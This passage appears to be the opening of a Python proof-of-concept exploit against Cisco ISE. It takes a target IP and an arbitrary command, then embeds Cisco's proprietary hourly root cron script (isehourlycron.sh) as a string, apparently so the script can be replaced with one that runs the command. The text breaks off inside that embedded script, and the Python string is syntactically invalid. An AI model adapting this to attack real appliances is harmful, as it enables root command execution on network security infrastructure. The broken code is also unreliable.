import os
import base64
import zipfile
import subprocess
import argparse


parser = argparse.ArgumentParser(description="PoC with --reset flag to toggle behavior.")
parser.add_argument('--reset', action='store_true', help='Trigger reset behavior')
parser.add_argument('--command', type=str, required=True, help='Command to be executed')
parser.add_argument('--ip', type=str, required=True, help='Target IP address')
args = parser.parse_args()

# Setup necessary info
COMMAND = args.command
IP = args.ip

#Original file under /opt/CSCOcpm/bin/ named isehourlycron.sh
isehourlycron = "#!/bin/sh
###########################################################################
#     Filename: isehourlycron.sh
#  Description: Shell script to perform hourly cleanup
#        Usage: Called from system scheduler
#       Author: eddiem@cisco.com
#
# Copyright (c) 2009-2015 Cisco Systems, Inc.  This program contains
# proprietary and confidential information.  All rights reserved
# except as may be permitted by prior written consent.
#
###########################################################################

source /opt/CSCOcpm/config/cpmenv.sh

#---------------------------------------------------------------#
# If available filesystem space drops below 5Gb, and undo 
# undo tablespace is over 10Gb, then drop and recreate
# the undo tablespace
#---------------------------------------------------------------#
cleanupundotablespace()
{
  
    cat > /tmp/dropundo.sql << EOF
set serverout on;
declare
var varchar2(1000);
begin
begin
execute immediate 'select NAME from undodrop' into var ;
EXCEPTION WHEN OTHERS THEN null;
return;
end;
if   var='UNDOTBS01' THEN
BEGIN
execute immediate 'DROP TABLESPACE UNDOTBS01 INCLUDING CONTENTS and datafiles';
Dbms_Output.put_line ('Old undo tablespace UNDOTBS01 dropped');
begin
execute immediate 'drop table undodrop';
EXCEPTION WHEN OTHERS THEN null;
end;
EXCEPTION WHEN OTHERS THEN
sys.dbms_lock.sleep(60);
begin
execute immediate 'DROP TABLESPACE UNDOTBS01 INCLUDING CONTENTS and datafiles';
Dbms_Output.put_line ('Old undo tablespace UNDOTBS01 dropped');
begin
execute immediate 'drop table undodrop';
EXCEPTION WHEN OTHERS THEN null;
end;
EXCEPTION WHEN OTHERS THEN
Dbms_Output.put_line ('Still online segments exists, will be cleared after some time');
end;
END;
elsif var='UNDO_TBS01' THEN
BEGIN
execute immediate 'DROP TABLESPACE UNDO_TBS01 INCLUDING CONTENTS and datafiles';
Dbms_Output.put_line ('Old undo tablespace UNDO_TBS01 dropped');
begin
execute immediate 'drop table undodrop';
EXCEPTION WHEN OTHERS THEN null;
end;
EXCEPTION WHEN OTHERS THEN
sys.dbms_lock.sleep(60);
begin
execute immediate 'DROP TABLESPACE UNDO_TBS01 INCLUDING CONTENTS and datafiles';
Dbms_Output.put_line ('Old undo tablespace UNDO_TBS01 dropped');
begin
execute immediate 'drop table undodrop';
EXCEPTION WHEN OTHERS THEN null;
end;
EXCEPTION WHEN OTHERS THEN
Dbms_Output.put_line ('Still online segments exists, will be cleared after some time');
end;
END;
end if;
end;
/
exit;
EOF

timeout 300 su - oracle -c "$ORACLE_HOME/bin/sqlplus -S /@system10 as sysdba @/tmp/dropundo.sql"    2>&1 | logger -p local0.info
    
log 2 "DB undo tablespace cleanup execution completed"    
}


#---------------------------------------------------------------#
# If there was a CLI PW recovery done in from booting the
# ISO image, there will be a /tmp/pwrecov.dat file containing 
# the username that was recovered and timestamp it occurred.
# This function checks for existence of that file and sends an
# ISE auditlog
#---------------------------------------------------------------#
checkForCLIPwRecovery()
{
  if [ -f /tmp/pwrecov.dat ] ; then
    source /tmp/pwrecov.dat  # get username and timestamp from data file
    AUDIT_MSGID="1018"
    AUDIT_TYPE="USER"
    AUDIT_NAME="USER CONFIGURATION MODIFIED"
    AUDIT_USERNAME="console-noauth"
    AUDIT_CAUSE="CLI User configuration has been modified"
    AUDIT_ADMINIP="127.0.0.1"
    AUDIT_INTERFACE="CLI"
    AUDIT_DETAIL="User $PWRECOV_USER has been modified via CLI password recovery process which occurred on $PWRECOV_TIMESTAMP"

    logAudit "$AUDIT_MSGID" "$AUDIT_TYPE" "$AUDIT_NAME" "$AUDIT_USERNAME" "$AUDIT_CAUSE" "$AUDIT_ADMINIP" "$AUDIT_INTERFACE" "$AUDIT_DETAIL"

    # Remove dat file to ensure we only send this audit message once
    rm -f /tmp/pwrecov.dat
  fi
}

#---------------------------------------------------------------#
# vsh_ files need to be checked and cleared from /tmp
# every hour
#---------------------------------------------------------------#
cleanupvsh()
{
 log 3 "clearing the vsh files from /tmp "

VSH_USAGE=`ps -Af | awk '/grep_wrapper/ { a++ } END { print a }'`

log 2 "number of process $VSH_USAGE "

if [ $VSH_USAGE -eq 1 ] ;
then
log 2 "removing vsh files"
rm -f /tmp/vsh_*
fi
}

#---------------------------------------------------------------#
# Unused tokens in the table wcs_sso_token needs to be cleanedup 
# every hour
#---------------------------------------------------------------#
cleanupwcs_sso_token()
{
  log 3 "preparing the cleanup script for the unused tokens "

  cat > /tmp/cleanwcstoken.sql << EOF

BEGIN
Delete from cepm.wcs_sso_token where  (TO_CHAR(created_timestamp,'DD-MON-YY HH24:MI:SS')<=to_char(systimestamp-interval '1' hour,'DD-MON-YY HH24:MI:SS'))
OR (created_timestamp<=(SYSDATE-1));
commit;
end;
/
exit;
EOF

  log 3 "cleaning the unused tokens..."
  export ORACLE_BASE=/opt/oracle/base
timeout 60   su - oracle -c "$ORACLE_HOME/bin/sqlplus /@system10 as sysdba @/tmp/cleanwcstoken.sql" 2>&1 | logger -p local0.info
  rm -f /tmp/cleanwcstoken.sql
}

#---------------------------------------------------------------#
# checks every hour and keeps only 15000 latest alarms info in  
# the Db
#---------------------------------------------------------------#
cleanupalarms()
{
  log 3 "preparing the cleanup script for the alarmcleanup "

  cat > /tmp/cleanupalarm.sql << EOF

declare
v_thresshold timestamp(6);

begin
select sec_alarm_timestamp into v_thresshold  from (select rownum id,a.* from (select sec_alarm_timestamp from cepm.sec_alarm_audit  order by sec_alarm_timestamp desc ) a  ) where id>=15000
and rownum=1;
if v_thresshold is not null then
delete from cepm.sec_alarm_audit where sec_alarm_timestamp<v_thresshold;
end if;
exception when others then
null;
end;
/
exit;
EOF

  log 3 "cleaning the outdated Alarms..."
  export ORACLE_BASE=/opt/oracle/base
 timeout 60  su - oracle -c "$ORACLE_HOME/bin/sqlplus /@system10 as sysdba @/tmp/cleanupalarm.sql" 2>&1 | logger -p local0.info
  rm -f /tmp/cleanupalarm.sql
}


#---------------------------------------------------------------#
# Delete any daily backup files older than the last days
#---------------------------------------------------------------#
cleanupcorefiles()
{
  retainlast=5
  curdir=`pwd`
  cd /var/tmp
  
  # First, determine if any core files exists.  If so, create /localdisk/corefiles dir
  # so these core files can be managed directly from CLI

  # Commenting the following logic as its not working anyway
  #core1=`ls /var/tmp/core* > /dev/null 2>&1`
  #core2=`ls /core* > /dev/null 2>&1`
  #core3=`ls /root/core* > /dev/null 2>&1`
  #core4=`ls /tmp/core* > /dev/null 2>&1`
  #if [[ $core1 -eq 0 || $core2 -eq 0 || $core3 -eq 0 || $core4 -eq 0 ]] ; then
  #  log 3 "core files are found, moving them to /localdisk/corefiles"
    coresdir="/localdisk/corefiles/"
    mkdir $coresdir > /dev/null 2>&1
    # Move any core files found in / or /root or /tmp to /localdisk/corefiles
    COREFILES="/var/tmp/core* 
                /core*
                /root/core*
                /tmp/core*
                /var/tmp/hs_err*
                /hs_err*
                /root/hs_err*
                /tmp/hs_err*
                /var/tmp/java*.hprof*
                /java*.hprof*
                /root/java*.hprof*
                /tmp/java*.hprof*"
    for corefile in $COREFILES
    do
        cp -f $corefile $coresdir > /dev/null 2>&1
        if [ $? -eq 0 ] ; then
            rm -f $corefile 2>&1 | logger -p local0.info
        fi
    done
  #fi

  cd /localdisk/corefiles 
  filecount=0
  ls -t core* 2> /dev/null | while read afile ; do
    if [ $filecount -lt $retainlast ] ; then
      log 3 "Retaining latest core file: $afile"
    else
      log 3 "Cleaning up old core file: $afile"
      rm -f $afile 2>&1 | logger -p local0.info
    fi
    filecount=`expr $filecount + 1`
  done

  filecount=0
  ls -t hs_err* 2> /dev/null | while read afile ; do
    if [ $filecount -lt $retainlast ] ; then
      log 3 "Retaining latest hs_err file: $afile"
    else
      log 3 "Cleaning up old hs_err file: $afile"
      rm -f $afile 2>&1 | logger -p local0.info
    fi
    filecount=`expr $filecount + 1`
  done

  filecount=0
  ls -t java*.hprof* 2> /dev/null | while read afile ; do
    if [ $filecount -le 2 ] ; then
      log 3 "Retaining latest java .hprof file: $afile"
    else
      log 3 "Cleaning up old java .hprof file: $afile"
      rm -f $afile 2>&1 | logger -p local0.info
    fi
    filecount=`expr $filecount + 1`
  done
 
   #Calling ThinFileCreationScript from isehourlycron
   #--------------------------------------------------#
   /opt/CSCOcpm/bin/thinfileforcore.sh   

  
  # Compress any remaining core,hs_err,java*.hprof files
  ls -t core* hs_err* *.hprof* 2> /dev/null | grep -v .gz | while read afile ; do
    log 3 "Compressing core, hs_err, java*.hprof file: $afile"
    gzip $afile 2>&1 | logger -p local0.info
  done

  # Move elasticsearch hprof to /localdisk/ and zip it
  ls -t /opt/CSCOcpm/logs/java_es_heapdump.hprof 2> /dev/null | while read afile ; do
    log 3 "Compressing elasticsearch hprof file: $afile"
    gzip $afile 2>&1 | logger -p local0.info
    mv /opt/CSCOcpm/logs/java_es_heapdump.hprof.gz /localdisk/corefiles/java_es_heapdump.hprof.gz 2>&1 | logger -p local0.info
  done
  
  cd $curdir

  # Delete temp files related to show inv from /var/tmp
  find /var/tmp/ -name "shinvrandom.out*" -cmin +30 -exec rm -f {} \;
}

#---------------------------------------------------------------#
# Check disk space of database filesystem
# (moved from legacy dbcleanup-timely.sh)
#---------------------------------------------------------------#
check_db_avail()
{
    $CPM_HOME/bin/dbcontrol.sh status | grep -q "not running"
    if [ $? -eq 0 ] ; then
        log 2 "ISE Database is not running, aborting cleanup..."
        exit 1
    fi
}

#---------------------------------------------------------------#
# Check disk space of database filesystem
# (moved from legacy dbcleanup-timely.sh)
#---------------------------------------------------------------#
check_diskspace()
{
  ISE_USAGE=`df -k --portability /opt | awk '{print $5}' | tail -1 | sed -e 's/%//'`
  ISE_THRESHOLD=80
  # Check if /opt is greater than threshold
  if [ $ISE_USAGE -gt $ISE_THRESHOLD ] ; then
    log 2 "The ISE data filesystem is $ISE_USAGE percent full. Triggering ISE DB cleanup."
    AGGRESSIVE_CLEANUP_REQUIRED=1
  else
    log 3 "The ISE data filesystem is $ISE_USAGE percent full. No ISE DB cleanup required for disk space."
  fi
}

#---------------------------------------------------------------#
# Check if ere is enough disk space to do backup
# (moved from legacy dbcleanup-timely.sh)
#---------------------------------------------------------------#
check_recoverysize()
{
  ARCHIVELOG_DIR=/opt/oracle/base/flash_recovery_area/CPM10
  if [ ! -d $ARCHIVELOG_DIR ] ; then
    log 1 "Error: DB archivelog $ARCHIVELOG_DIR not found.  Exiting..."
    exit 1
  fi
  # ISE_DBRECOV_USAGE will be the size in MB of the DB recovery directory.
  # If it's greater than 32Gb (32768 Mb), trigger cleanup
  DBRECOV_THRESHOLD=32768
  ISE_DBRECOV_USAGE=`du -sm $ARCHIVELOG_DIR | awk '{print $1}'`
  if [ $ISE_DBRECOV_USAGE -gt $DBRECOV_THRESHOLD ] ; then
    log 2 "The ISE database transaction log dir is $ISE_DBRECOV_USAGE MB. Triggering ISE DB cleanup."
    AGGRESSIVE_CLEANUP_REQUIRED=1
  else 
    log 3 "The ISE database transaction log dir is only $ISE_DBRECOV_USAGE MB. No ISE DB cleanup required for transaction log size."
  fi
}

#---------------------------------------------------------------#
# Perform RMAN archivelog cleanup with RMAN
# (moved from legacy dbcleanup-timely.sh)
#---------------------------------------------------------------#
perform_rman_cleanup()
{
    log 3 "Starting automated ISE DB cleanup"
    # This script takes backup of archivelogs and deletes the archives.
    # By doing this oracle releases space from The Flash Recovery Area (FRA).
    rm -f /tmp/rman_timely
    cat > /tmp/rman_timely << EOF
CATALOG RECOVERY AREA NOPROMPT;
CROSSCHECK ARCHIVELOG ALL;
CHANGE ARCHIVELOG ALL CROSSCHECK;
DELETE NOPROMPT ARCHIVELOG ALL;
CROSSCHECK BACKUPSET;
DELETE NOPROMPT EXPIRED BACKUPSET;
DELETE NOPROMPT BACKUPSET COMPLETED BEFORE 'SYSTIMESTAMP';
EXIT;
EOF
    
    export ORACLE_BASE=/opt/oracle/base
    su - oracle -c "$ORACLE_HOME/bin/rman target /@system10 @/tmp/rman_timely" > /tmp/rman_timely.log 2>&1
    # send output file to logger 
    cat /tmp/rman_timely.log | logger -p local0.info
    # DO NOT REMOVE rman_timely.log! it's used again by caller
}

#---------------------------------------------------------------#
# Perform DB cleanup with RMAN
# (moved from legacy dbcleanup-timely.sh)
#---------------------------------------------------------------#
perform_aggressive_cleanup()
{
    perform_rman_cleanup
       
       log 2 "Performing trace and log xml cleanup"
    #modifying the time period from 2 days to 1 hour for trace, trm files bug CSCve13949 bsevanen 
       find /opt/oracle/base/diag/rdbms/cpm10/cpm10/trace -name "*trc" -mmin +59 -exec rm {} \; 
       find /opt/oracle/base/diag/rdbms/cpm10/cpm10/trace -name "*trm" -mmin +59 -exec rm {} \; 
       find /opt/oracle/base/diag/rdbms/cpm10/cpm10/alert -name "log_*.xml" -mtime +1 -exec rm {} \;
       find /opt/oracle/base/diag/tnslsnr/*/listener/alert -name "log_*.xml" -mtime +0 -exec rm {} \;

    # Check for errors and perform OS cleanup if required
    egrep -q "RMAN-08137|RMAN-00569|Linux\ Error" /tmp/rman_timely.log 
    if [ $? -eq 0 ] ; then
       log 2 "Performing OS cleanup of archivelog and backupset dirs"
       # perform OS cleanup
       rm -rf /opt/oracle/base/flash_recovery_area/CPM10/archivelog/*
       rm -rf /opt/oracle/base/flash_recovery_area/CPM10/backupset/*

       # call RMAN cleanup again to sync things up after OS cleanup
       perform_rman_cleanup
    else
       log 3 "No OS cleanup of archivelog and backupset dirs is required"
    fi
    rm -f /tmp/rman_timely.log /tmp/rman_timely

    # Remove empty folders
    log 3 "Removing empty folders..."
    find /opt/oracle/base/flash_recovery_area/CPM10/archivelog/* -type d -empty -exec rmdir {} \; 2>/dev/null
    find /opt/oracle/base/flash_recovery_area/CPM10/backupset/* -type d -empty -exec rmdir {} \; 2>/dev/null
    log 3 "Automated ISE DB cleanup script completed"
}

hwrng_check() {
  SUPPORTED_PLATFORM=0

  # Get the UDI for the subsequent check
  if [ -f /etc/vmudi ] ; then
    mv -f /etc/vmudi /etc/vmudi-tmp
    UDIPID=`/opt/system/bin/cars_udi_util -p | tr -d ' '`
    mv -f /etc/vmudi-tmp /etc/vmudi
  else
    UDIPID=`/opt/system/bin/cars_udi_util -p | tr -d ' '`
  fi

  # The UDI's below support hw rng
  if [ "$UDIPID" == "SNS-3415-K9" ] || [ "$UDIPID" == "SNS-3495-K9" ] || [ "$UDIPID" == "SNS-3515-K9" ]  || [ "$UDIPID" == "SNS-3615-K9" ] || [ "$UDIPID" == "SNS-3655-K9" ] || [ "$UDIPID" == "SNS-3695-K9" ] || [ "$UDIPID" == "SNS-3715-K9" ] || [ "$UDIPID" == "SNS-3755-K9" ] || [ "$UDIPID" == "SNS-3795-K9" ] ;then
    SUPPORTED_PLATFORM=1
  fi

  # If the platform supports hw rng but the device isn't present, ignore attempts to start tomcat unless
  # 'safe' option was passed.  This prevents monit from continually trying to 
  # to start tomcat unsuccessfully.
  if [ $SUPPORTED_PLATFORM -eq 1 ] && [ ! -c /dev/hwrng ]; then
    log 2 "Notice: Stopping ISE application server as Hardware RNG integrity check failed"
    /opt/CSCOcpm/bin/appservercontrol.sh stop 2>&1 | logger -p local0.info
  fi
}

# Sample I/O performance every 3 hours on VM platforms. 
# If the average does not meet a given threshold of at least 50 Mb/sec, for 
# write bandwidth and 300 Mb/sec for read bandwidth directly from disk device,
# then 'Insufficient Virtual Machine Resources' alarm will be raise for 
# IO performance.  The /var/tmp/vm_ioperf_write.out and /var/tmp/vm_ioperf_read.out 
# files are rolled over in daily cron.  We don't want all the nodes running this at 
# exactly the same time, so we add a random sleep of up to 30 seconds.
sample_vm_ioperf () {
  /opt/system/bin/cars_udi_util -p|egrep -q "Cisco-VM-SPID|ISE-VM|CPP-VM"
  hour=`date +%H`
  if [ $? -eq 0 ] && [ $(( ${hour#0} % 3 )) -eq 0 ] ; then
    sleep $(($RANDOM % 30))

    rm -f /tmp/ioperftest.out && touch /tmp/ioperftest.out
    WRITE_DATFILE=/var/tmp/vm_ioperf_write.out
    fio --rw=randwrite  --bsrange=4k-1024k --name=writetest --filename=/opt/iowrites --ioengine=libaio --numjobs=4 --direct=1 --iodepth=32 --size=1G >> /tmp/ioperftest.out
    cat /tmp/ioperftest.out | grep WRITE >> $WRITE_DATFILE
 
    rm -f /tmp/ioperftest.out && touch /tmp/ioperftest.out
    READ_DATFILE=/var/tmp/vm_ioperf_read.out
    DEVICE=/dev/sda
    if [ ! -b $DEVICE ]; then
        # In case of KVM with virtio, set the device to /dev/vda
        DEVICE=/dev/vda
    fi
    fio --bsrange=4k-1024k --ioengine=libaio --iodepth=32 --numjobs=4 --rw=randread --name=async --filename=$DEVICE --size=1g --direct=1 >> /tmp/ioperftest.out
    cat /tmp/ioperftest.out | grep READ >> $READ_DATFILE
    rm -f /tmp/ioperftest.out /opt/iowrites
  fi
}

purge()
{
chmod +x /opt/CSCOcpm/mnt/bin/CheckPercentage.sql
  export ORACLE_BASE=/opt/oracle/base
su - oracle -c "$ORACLE_HOME/bin/sqlplus -S /@system10 as sysdba   @/opt/CSCOcpm/mnt/bin/CheckPercentage.sql" > /var/tmp/purgecheck.txt

TS=`date +%Y%m%d-%H%M%S`
PURGECOUNT=`cat /var/tmp/purgecheck.txt  | awk {'print $1'}`

log 3 "Checking m&t tablespace size...:$PURGECOUNT"
    if [ $PURGECOUNT  -ge  "90" ]; then

cat > /var/tmp/execute.sql << EOF
begin
purge_proc;
REBUILD_INDEX;
end;
/
exit;
/
EOF

  log 2 "Stopping ISE to purge m&t tablespace..."
  /opt/CSCOcpm/bin/cpmcontrol.sh stopfromscript 2>&1 | logger -p local0.info
  
  rm -f /opt/CSCOcpm/mnt/csv/rauth/*
  rm -f /opt/CSCOcpm/mnt/csv/racc/*
  rm -f /opt/CSCOcpm/mnt/csv/rerrors/*
  rm -f /opt/CSCOcpm/mnt/data/collector/*

  
  log 2 "Starting DB to purge m&t tablespace..."
  /opt/CSCOcpm/bin/dbcontrol.sh start 2>&1 | logger -p local0.info

echo 'startup' | su - oracle -c "$ORACLE_HOME/bin/sqlplus /@system10 as sysdba "  2>&1 | logPipedOut

  
  log 2 "Running purge..."
  su - oracle -c "$ORACLE_HOME/bin/sqlplus /@mnt10 @/var/tmp/execute.sql" 2>&1 | logger -p local0.info
  rm -f /var/tmp/execute.sql
  
  log 2 "Starting ISE after purge..."
  /opt/CSCOcpm/bin/cpmcontrol.sh startfromscript 2>&1 | logger -p local0.info
    fi
  rm -f /var/tmp/purgecheck.sql
  rm -f /var/tmp/purgecheck.txt

}

call_dbmon()
{
log 3 "Running DB Monitoring and Self Healing Scripts...."
timeout 30  su - oracle -c "$CPM_HOME/db/sql/DBMon/Monitor.sh" 2>&1 | logger -p local0.info
log 3 "Completed running DB Monitoring and Self Healing Scripts...."
}


kpmmetrics()
{
  if [ `cat /opt/CSCOcpm/config/node-config.rc | grep "^ENABLE_MNT" | awk -F"=" ' { print $2 } '` -eq 1 ]
  then
  	log 3 "Running KPM metrics..."
  	timeout 900 su - oracle -c "$ORACLE_HOME/bin/sqlplus /@mnt10 @/opt/CSCOcpm/db/sql/kpmmetrics.sql" 2>&1 | logger -p local0.info
  	log 3 "Completed running KPM metrics"
  fi
}

#---------------------------------------------------------------#
# keep only 3 old log direcotries and clean up the remaining
#---------------------------------------------------------------#
cleanupLogDir()
{
  retainlast=3
  filecount=0

  ls -dt $CPM_HOME/logs-[0-9]* 2> /dev/null |while read afile ; do
   if [ $filecount -lt $retainlast ] ; then
      log 3 "Retaining latest log dir : $afile"
    else
      log 3 "Cleaning up old log dir : $afile"
      rm -rf $afile 2>&1 | logger -p local0.info
    fi
    filecount=`expr $filecount + 1`
  done

}

checkHeapDump(){
  HEAP_DUMPS="`find /localdisk/corefiles/ -name "java*.hprof*" -cmin -60 -exec ls -t {} \;`"
  if [ ! -z "$HEAP_DUMPS" ] ; then
     AUDIT_MSGID="2063"
     AUDIT_TYPE="HEAP_DUMP"
     AUDIT_NAME="HEAP_DUMP_GENERATED"
     AUDIT_USERNAME="system"
     AUDIT_CAUSE="Heap dump generated"
     AUDIT_ADMINIP="127.0.0.1"
     AUDIT_INTERFACE="CLI"
     AUDIT_DETAIL="Heap dump generated on node $HOSTNAME"
 
     logAudit "$AUDIT_MSGID" "$AUDIT_TYPE" "$AUDIT_NAME" "$AUDIT_USERNAME" "$AUDIT_CAUSE" "$AUDIT_ADMINIP" "$AUDIT_INTERFACE" "$AUDIT_DETAIL"

  fi

}

#---------------------------------------------------------------------------#
# Vulnerability Assessment insert hourly aggregation data to Elastic Search
#---------------------------------------------------------------------------#
vaAggregation()
{
  log 3 "Running VA hourly aggregation to insert to Elastic Search"
  pkill -9 -f "va_add_bulk_aggregation" > /dev/null 2>&1
  nohup $CPM_HOME/bin/elasticsearch-control.sh va_add_bulk_aggregation vahistoricdatahourly &
}

isUpgradeInProgress()
{
  log 3 "Checking if Upgrade is running"
  ps -efww | grep -v grep | grep -q -e "preinstall.sh" -e "isedbupgrade-newmodel.sh" -e "postinstall.sh" -e "post-osupgrade.sh"
  if [ $? -eq 0 ] ; then
    IS_UPGRADE_RUNNING="TRUE"
    log 3 "Upgrade is running"
  else
    IS_UPGRADE_RUNNING="FALSE"
    log 3 "Upgrade is not running"
  fi
}

#---------------------------------------------------------------#
# keep MNT tables to memory
#--------------------------------------------------------------#

mnt_tab_mem()
{
NODE_CONFIG=/opt/CSCOcpm/config/node-config.rc
 [ -f $NODE_CONFIG ] && source $NODE_CONFIG
if [ $ENABLE_MNT -eq 1 ]; then
cat > /tmp/sgasize.sql <<EOF
select round(value/(1024*1024*1024)) sga from v\$parameter where name ='sga_target';
exit;
EOF
timeout 60 su - oracle -c "sqlplus -S /@system10 as sysdba @/tmp/sgasize.sql"  > /tmp/sgasize.txt

vsga=`awk 'NR==4{print $1}' /tmp/sgasize.txt`
vram=`free -g | awk 'NR==2{print $2}'`

  log 3 "start pinning MNT tables to memory "

  cat > /tmp/mnt_tab_mem.sql << EOF

  begin
  keep_part_buffer;
  exception when others then
  null;
  end;
  /
 exit;
EOF

cat > /tmp/mnt_tab_mem250.sql << EOF

  begin
  keep_part_buffer250;
  exception when others then
  null;
  end;
  /
 exit;
EOF

if [ $vram -gt 150 ]  && [ $vsga -gt 100 ]; then
timeout 120 su - oracle -c "$ORACLE_HOME/bin/sqlplus /@mnt10 @/tmp/mnt_tab_mem250.sql" 2>&1 | logger -p local0.info
elif [ $vram -gt 30 ]  && [ $vsga -gt 9 ]; then
timeout 120 su - oracle -c "$ORACLE_HOME/bin/sqlplus /@mnt10 @/tmp/mnt_tab_mem.sql" 2>&1 | logger -p local0.info
fi

rm -f /tmp/mnt_tab_mem.sql
log 3 "Completed pinning MNT tables to memory "
fi
}

#---------------------------------------------------------------#
# Fixing index corruption in Oracle config db
#--------------------------------------------------------------#

index_corrupt_fix(){


echo 'validate tablespace cpmns;' | su - oracle -c "rman target /@system10"  2>&1 | logger -p local0.info
cat > /tmp/index_corr.sql << EOF

DROP  type tab_index_nt 
/
CREATE OR REPLACE TYPE tab_index_obj AS OBJECT (
table_name   VARCHAR2(50),
Index_name VARCHAR2(30)) ;
/
create type tab_index_nt as table of tab_index_obj ;
/


create or replace procedure rebuild_corrindexes as
emesg varchar2(4000);
tab_index_t   tab_index_nt:=tab_index_nt();
begin
begin
execute immediate'create table db_errors(TIMESTAMP  TIMESTAMP(6), COMPONENT VARCHAR2(50), TEXT  varchar2(4000))';  
exception when others then null;
end;
 
begin
SELECT  tab_index_obj(owner,index_name) BULK COLLECT INTO tab_index_t FROM dba_indexes  WHERE owner in ('CEPM') and
index_name in (SELECT segment_name FROM dba_extents a,V\$DATABASE_BLOCK_CORRUPTION b WHERE a.file_id = b.file#
AND  b.block# BETWEEN a.block_id AND a.block_id + a.blocks - 1 and segment_type='INDEX' and owner in ('CEPM') ) ORDER BY owner,index_name   ;
exception when others then null;
end;
IF tab_index_t.Count>0  THEN

FOR i IN  tab_index_t.FIRST .. tab_index_t.LAST LOOP
BEGIN
execute immediate' insert into db_errors values (systimestamp, ''CORRUPTINDEX'',''started'')';
commit;
DBMS_OUTPUT.PUT_LINE('ALTER INDEX '||tab_index_t(i).table_name||'.'||tab_index_t(i).index_name ||' REBUILD ONLINE   PARALLEL  NOLOGGING');
EXECUTE IMMEDIATE 'ALTER INDEX '||tab_index_t(i).table_name||'.'||tab_index_t(i).index_name ||' REBUILD ONLINE   PARALLEL  NOLOGGING';
DBMS_OUTPUT.PUT_LINE('index rebuild for  '||tab_index_t(i).index_name ||' is done');
execute immediate' insert into db_errors values (systimestamp, ''CORRUPTINDEX'', ''index rebuild for  '||tab_index_t(i).index_name ||' is done'')';
COMMIT;
EXCEPTION WHEN OTHERS THEN
emesg := substr(SQLERRM,1,4000);
dbms_output.put_line(emesg);
execute immediate' insert into db_errors values (systimestamp, ''CORRUPTINDEX'', ''exception occurred  at '||tab_index_t(i).index_name ||' index rebuild ' || emesg||''')';
COMMIT;
END ;
end loop;

end if;
end;
/



sho err;
set serverout on;
exec rebuild_corrindexes;

exit;
EOF
#logsys1=system/`/opt/CSCOcpm/bin/getdbpw.sh PAP_ADMIN_PWD`
#logsys1= /@system10 as sysdba
timeout 300 su - oracle -c "sqlplus /@system10 as sysdba  @/tmp/index_corr.sql"   2>&1 | logger -p local0.info


echo 'validate tablespace cpmns;' | su - oracle -c "rman target /@system10"  2>&1 | logger -p local0.info



cat > /tmp/index_corrfix_reattempt.sql << EOF
declare
cnt number;
emesg varchar2(4000);
tab_index_t   tab_index_nt:=tab_index_nt();
begin
select count(*) into cnt from V\$DATABASE_BLOCK_CORRUPTION ;
if cnt >0 then

begin
for i in (SELECT header_block,header_file,tablespace_name FROM dba_segments a,V\$DATABASE_BLOCK_CORRUPTION b 
WHERE header_file = b.file# AND  b.block# =header_block and segment_type='TEMPORARY')
LOOP
 dbms_space_admin.segment_corrupt(i.tablespace_name, i.header_file, i.header_block);
 dbms_space_admin.segment_drop_corrupt(i.tablespace_name, i.header_file, i.header_block);
 dbms_space_admin.tablespace_rebuild_bitmaps(i.tablespace_name);
END LOOP;
end;


begin
SELECT  tab_index_obj(owner,index_name) BULK COLLECT INTO tab_index_t FROM dba_indexes  WHERE owner in ('CEPM') and index_type='NORMAL' ORDER BY owner,index_name   ;
exception when others then null;
end;


IF tab_index_t.Count>0  THEN

FOR i IN  tab_index_t.FIRST .. tab_index_t.LAST LOOP
BEGIN
EXECUTE IMMEDIATE 'ALTER INDEX '||tab_index_t(i).table_name||'.'||tab_index_t(i).index_name ||' REBUILD ONLINE   PARALLEL  NOLOGGING';

execute immediate' insert into db_errors values (systimestamp, ''CORRUPTINDEX'', ''index rebuild for  '||tab_index_t(i).index_name ||' is done'')';
COMMIT;
EXCEPTION WHEN OTHERS THEN
emesg := substr(SQLERRM,1,4000);
dbms_output.put_line(emesg);
execute immediate' insert into db_errors values (systimestamp, ''CORRUPTINDEX'', ''exception occurred  at '||tab_index_t(i).index_name ||' index rebuild ' || emesg||' '')';
COMMIT;
END ;
end loop;
end if; 
end if;
end;
/
exit;
EOF

#logsys1=system/`/opt/CSCOcpm/bin/getdbpw.sh PAP_ADMIN_PWD`
timeout 300 su - oracle -c "sqlplus /@system10 as sysdba  @/tmp/index_corrfix_reattempt.sql"  2>&1 | logger -p local0.info


echo 'validate tablespace cpmns;' | su - oracle -c "rman target /@system10"  2>&1 | logger -p local0.info

}

#---------------------------------------------------------------#
# CEPM Stats Gather
#--------------------------------------------------------------#

cepmStatsGather(){

  echo 'Starting gather stats for cepm;'  2>&1 | logger -p local0.info

 cat > /tmp/cepmStatsGather.sql << EOF

    BEGIN
      dbms_stats.gather_schema_stats( 'CEPM', dbms_stats.auto_sample_size, false, 'FOR ALL COLUMNS SIZE auto', dbms_stats.default_degree,'ALL', true);
    END;
  /
  exit;
EOF
timeout 240 su - oracle -c "sqlplus /@cpm10  @/tmp/cepmStatsGather.sql"  2>&1 | logger -p local0.info

echo 'Completed gather stats for cepm;'  2>&1 | logger -p local0.info

}

#---------------------------------------------------------------#
# Monitoring Oracle  memory
#--------------------------------------------------------------#


memoryStats(){
sid=cpm10

if [ "`ps -ef | grep pmon | grep -v grep | awk '{print $NF}'| cut -c 10- | grep -w $sid`" != "" ]
then
mem_c=0
os_p=`uname`
if [ "$os_p" = "Linux" ]; then
for x in `ps aux --sort -rss | grep oracle | grep $sid | awk '{print $6}'`
do
mem_c=`expr $mem_c + $x`
done
elif [ "$os_p" = "SunOS" ] ; then
for x in `ps -ef -o user,rss,comm | grep oracle | grep $sid | awk '{print $2}'`
do
mem_c=`expr $mem_c + $x`
done
fi
mem_c=`expr $mem_c / 10`
mem_c=`expr $mem_c / 1024`
mem_c=`expr $mem_c / 1024`

echo "Total Physical Memory consumed by Oracle Instance $sid is: $mem_c GB" >> /opt/CSCOcpm/logs/collector.log

else
echo "Invalid Oracle SID"
fi

cat > /tmp/memorystats.sql << EOF
set pagesize 10000
set linesize 10000
set trimout on
set null ' '


column component format a30
column current_size format 999999
column max_size format 999999

select component, current_size/(1024*1024*1024) current_size ,max_size/(1024*1024*1024) max_size  from  v\$memory_dynamic_components t;

column pool format a30
column bytes format 999999
column type format a30
column sum_of_poolmemory format 999999
column total_sga format 999999

select a.*, sum(bytes) over(partition by pool order by pool) sum_of_poolmemory , sum(bytes) over() total_sga from ( 
select pool,round(sum(bytes),2) bytes , type from (select pool,(bytes)/(1024*1024*1024) bytes, 'used memory' type from v\$sgastat where pool is not null and  name!='free memory' ) group by pool,type
union
